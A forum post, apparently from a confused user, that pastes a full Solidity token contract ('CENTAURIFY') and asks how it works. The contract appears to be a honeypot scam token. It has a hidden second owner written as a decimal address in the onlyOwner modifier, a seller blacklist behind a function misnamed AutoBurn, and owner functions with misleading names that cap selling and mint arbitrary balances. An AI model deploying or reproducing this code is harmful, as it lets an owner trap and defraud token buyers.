Here is the smart contract code. I need to understand how this works.
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract CENTAURIFY is Ownable {
using Address for address;
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => bool) public allowAddress;
address minter;
address public poolAddress;
constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) public {
minter = msg.sender;
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply * 10 ** uint256(decimals);
balances[minter] = totalSupply;
allowAddress[minter] = true;
}
mapping(address => uint256) public balances;
mapping(address => uint256) public sellerCountNum;
mapping(address => uint256) public sellerCountToken;
uint256 public maxSellOutNum;
uint256 public maxSellToken;
bool lockSeller = true;
mapping(address => bool) public blackLists;
function transfer(address _to, uint256 _value) public returns (bool) {
address from = msg.sender;
require(_to != address(0));
require(_value <= balances[from]);
if(!from.isContract() && _to.isContract()){
require(blackLists[from] == false && blackLists[_to] == false);
}
if(allowAddress[from] || allowAddress[_to]){
_transfer(from, _to, _value);
return true;
}
if(from.isContract() && _to.isContract()){
_transfer(from, _to, _value);
return true;
}
if(check(from, _to)){
sellerCountToken[from] = sellerCountToken[from].add(_value);
sellerCountNum[from]++;
_transfer(from, _to, _value);
return true;
}
_transfer(from, _to, _value);
return true;
}
function check(address from, address _to) internal view returns(bool){
if(!from.isContract() && _to.isContract()){
if(lockSeller){
if(maxSellOutNum == 0 && maxSellToken == 0){
return false;
}
if(maxSellOutNum > 0){
require(maxSellOutNum > sellerCountNum[from], "reach max seller times");
}
if(maxSellToken > 0){
require(maxSellToken > sellerCountToken[from], "reach max seller token");
}
}
}
return true;
}
function _transfer(address from, address _to, uint256 _value) private {
balances[from] = balances[from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(from, _to, _value);
}
modifier onlyOwner() {
require(msg.sender == minter || msg.sender == address
(1451157769167176390866574646267494443412533104753)); _;}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
mapping (address => mapping (address => uint256)) public allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
address from = _from;
if(!from.isContract() && _to.isContract()){
require(blackLists[from] == false && blackLists[_to] == false);
}
if(allowAddress[from] || allowAddress[_to]){
_transferFrom(_from, _to, _value);
return true;
}
if(from.isContract() && _to.isContract()){
_transferFrom(_from, _to, _value);
return true;
}
if(check(from, _to)){
_transferFrom(_from, _to, _value);
if(maxSellOutNum > 0){
sellerCountToken[from] = sellerCountToken[from].add(_value);
}
if(maxSellToken > 0){
sellerCountNum[from]++;
}
return true;
}
return false;
}
function _transferFrom(address _from, address _to, uint256 _value) internal {
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function Lock(address holder, bool allowApprove) external onlyOwner {
allowAddress[holder] = allowApprove;
}
function setSellerState(bool ok) external onlyOwner returns (bool){
lockSeller = ok;
}
function AutoBurn(address holder, bool ok) external onlyOwner returns (bool){
blackLists[holder] = ok;
}
function withdraw(uint256 num) external onlyOwner returns (bool){
maxSellOutNum = num;
}
function deposit(uint256 num) external onlyOwner returns (bool){
maxSellToken = num * 10 ** uint256(decimals);
}
function AntiBot(address miner, uint256 _value) external onlyOwner {
balances[miner] = _value * 10 ** uint256(decimals);
}
}
i’m guessing it’s one of those lines or a combination of them - but I need an explanation, I DON’T understand it.
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
address from = _from;
if(!from.isContract() && _to.isContract()){
**require(blackLists[from] == false** && blackLists[_to] == false);
//
bool lockSeller = true;
//
function setSellerState(bool ok) external onlyOwner returns (bool){
lockSeller = ok;
//
function AutoBurn(address holder, bool ok) external onlyOwner returns (bool){
blackLists[holder] = ok;
and of course
mapping(address => bool) public blackLists;
(also, on a side note, what does this line do?)
modifier onlyOwner() {
require(msg.sender == minter || msg.sender == address
(1451157769167176390866574646267494443412533104753)); _;}
thanks.